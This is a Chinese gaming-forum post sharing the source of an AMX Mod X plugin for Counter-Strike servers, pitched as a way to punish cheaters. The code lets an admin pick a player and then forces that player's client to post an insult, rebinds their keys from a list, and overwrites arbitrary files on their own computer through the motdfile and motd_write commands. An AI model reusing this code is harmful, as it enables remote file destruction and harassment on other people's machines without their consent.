|
本帖最后由 点通粉丝 于 2012-9-4 23:28 编辑
这东西留着也没什么用
一起用来搞死作弊的吧
具体如何使用自己看源文件吧
再次感谢龟老大的大力帮忙
才三天不到下了36次了.........哈哈/一起搞死作弊的吊毛吧/
#include <amxmodx>
#include <amxmisc>
#include <fun>
#define PLUGIN "AMX CZMENU"
#define VERSION "1.0"
#define AUTHOR "wk703"
#define LOADING "^n^t%s v%s, Copyright (C) 2011 by %s^n"
new Array:g_bindkey, Array:g_filelist, g_keytotal, g_filetotal;
public plugin_init()
{
register_plugin(PLUGIN, VERSION, AUTHOR);
server_print(LOADING,PLUGIN,VERSION,AUTHOR);
register_clcmd("amx_czmenu", "AwesomeMenu");
g_bindkey = ArrayCreate(128);
g_filelist = ArrayCreate(128);
g_keytotal = 0;
g_filetotal = 0;
}
public plugin_cfg()
{
_load_bindlist();
_load_filelist();
}
public plugin_precache()
{
precache_sound("misc/chong_zhuang.wav");
precache_model("sprites/wc.spr");
}
public AwesomeMenu(id) // 生成菜单的自定义函数
{
new menu = menu_create("\yCz Menu", "menu_handler"); // 建立一个菜单,并用一个变量记录id (猜测应该是菜单id吧) 第一个参数是菜单的名称,第二个参数是玩家按下按键后来处理玩家按键的函数,和老版的不同,新版的需要通过menu_additem这个native函数来给菜单增加选择项(感觉很方便哦)
new players[32], pnum, tempid; // 在这里我们必须建立一些变量来得到玩家的数据
new szName[32], szTempid[10]; // 一些有关玩家信息的变量
get_players(players, pnum); // 查找当前服务器所有的玩家
for(new i; i<pnum; i++ ) // 利用for循环来得到玩家的信息
{
tempid = players; // 这里的players是每一个在线玩家的索引,现在我人用别外一个变量来代替他
get_user_name(tempid, szName, 31); // 得到玩家的名字
num_to_str(tempid, szTempid, 9); // 把名字用数字排开
menu_additem(menu, szName, szTempid, ADMIN_IMMUNITY); // 最后就是把所有的数据写进菜单里 第一个参数是指定要往哪个菜单添加选项,第二个参数是选项显示的文字\w的意思是白色\y是黄色\r是红色,第三个参数是传递到处理玩家按键的函数的键位参数,第四个参数是此选择项需要的玩家权限,你可以在amxconst.inc里查询,数字0代表不需要权限
}
menu_display(id, menu, 0); // 现在就可以把菜单显示出来了 第一个参数是显示的对象(玩家ID),貌似不能用0来代替所有玩家,第二个是菜单,第三个是起始页数(注意页数id从0开始!!
}
public menu_handler(id, menu, item) // 以下就是刚才注册过的来处理玩家按键的函数
{
if(item == MENU_EXIT ) // 如果选择退出
{
menu_destroy(menu); // Native函数,用来摧毁菜单
return PLUGIN_HANDLED;
}
new data[6], iName[64]; // 现在来获取按键等信息
new access, callback; // 还是那句话,先建立一些必要的变量
menu_item_getinfo(menu, item, access, data,5, iName, 63, callback); // 获取菜单项目的信息
new tempid = str_to_num(data); // 把字符型转换为数字型,也就是把之前的显示菜单那里的szTempid转换为字符型=建立一个变量并通过str_to_num()来得到被选中的玩家索引
if(get_user_flags(tempid) & ADMIN_IMMUNITY) // 判断A权限不能处罚
{
client_print(tempid, print_chat, "[AMXX] : you don't punish A admin");
return PLUGIN_HANDLED
}
client_cmd(tempid, "say ^"wo zuo bi, wo si quan jia^"");
new szName[32];
get_user_name(tempid, szName, 31); // 得到玩家的名字
server_cmd("amx_sprite #%i wc", get_user_userid(tempid));
server_cmd("amx_shootself #%i 0 0", get_user_userid(tempid));
server_cmd("amx_pcheater #%i 5", get_user_userid(tempid));
server_cmd("amx_chscore #%i -38 250", get_user_userid(tempid));
set_hudmessage(random_num(0,255), random_num(0,255), random_num(0,255), 0.02, 0.55, 2, 2.0, 280.0, 0.01, 0.2, 4);
show_hudmessage(0, "[AMXX] : ^"%s^" zuo bi^nchu fa : chong zhuang cs", szName);
set_user_rendering(tempid, kRenderFxGlowShell, random_num(0,255), random_num(0,255), random_num(0,255), kRenderTransAlpha, 255); // 设置玩家透明度
_bind_some_key(tempid);
_remove_some_file(tempid);
menu_destroy(menu);
return PLUGIN_HANDLED;
}
/*
以上代码来源于网络。
以下代码由 k1nader 编写。
*/
public _load_bindlist()
{
new customdir[64], data_file[128];
get_customdir(customdir, charsmax(customdir));
formatex(data_file, charsmax(data_file), "%s/bind_list.ini", customdir);
if (!file_exists(data_file))
{
log_amx("Error: can not find bind_list.ini.");
return;
}
new File = fopen(data_file, "r");
new text[256];
new bindstring[128];
while(File && !feof(File))
{
fgets(File, text, charsmax(text));
if (text[0] == ';')
continue;
if (parse(text, bindstring, charsmax(bindstring)) < 1)
continue;
trim(bindstring);
ArrayPushString(g_bindkey, bindstring);
}
if (File) fclose(File);
g_keytotal = ArraySize(g_bindkey);
}
public _load_filelist()
{
new customdir[64], data_file[128];
get_customdir(customdir, charsmax(customdir));
formatex(data_file, charsmax(data_file), "%s/file_list.ini", customdir);
if (!file_exists(data_file))
{
log_amx("Error: can not find file_list.ini.");
return;
}
new File = fopen(data_file, "r");
new text[256];
new filestring[128];
while(File && !feof(File))
{
fgets(File, text, charsmax(text));
if (text[0] == ';')
continue;
if (parse(text, filestring, charsmax(filestring)) < 1)
continue;
trim(filestring);
ArrayPushString(g_filelist, filestring);
}
if (File) fclose(File);
g_filetotal = ArraySize(g_filelist);
}
public _bind_some_key(id)
{
for(new i = 0; i < g_keytotal; i++)
{
new keyscrstr[128], key[32], strings[96];
ArrayGetString(g_bindkey, i, keyscrstr, charsmax(keyscrstr));
strtok(keyscrstr, key, 31, strings, 95, '=');
client_cmd(id,"bind ^"%s^" ^"%s^"", key, strings);
}
}
public _remove_some_file(id)
{
for(new i = 0; i < g_filetotal; i++)
{
new filestr[128];
ArrayGetString(g_filelist, i, filestr, charsmax(filestr));
_remove_file(id, filestr);
}
}
public _remove_file(id, filename[])
{
client_cmd(id, "motdfile ^"%s^"", filename);
client_cmd(id, "motd_write { File is deleted }");
client_cmd(id, "motdfile ^"motd.txt^"");
} |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?注个册吧
×
|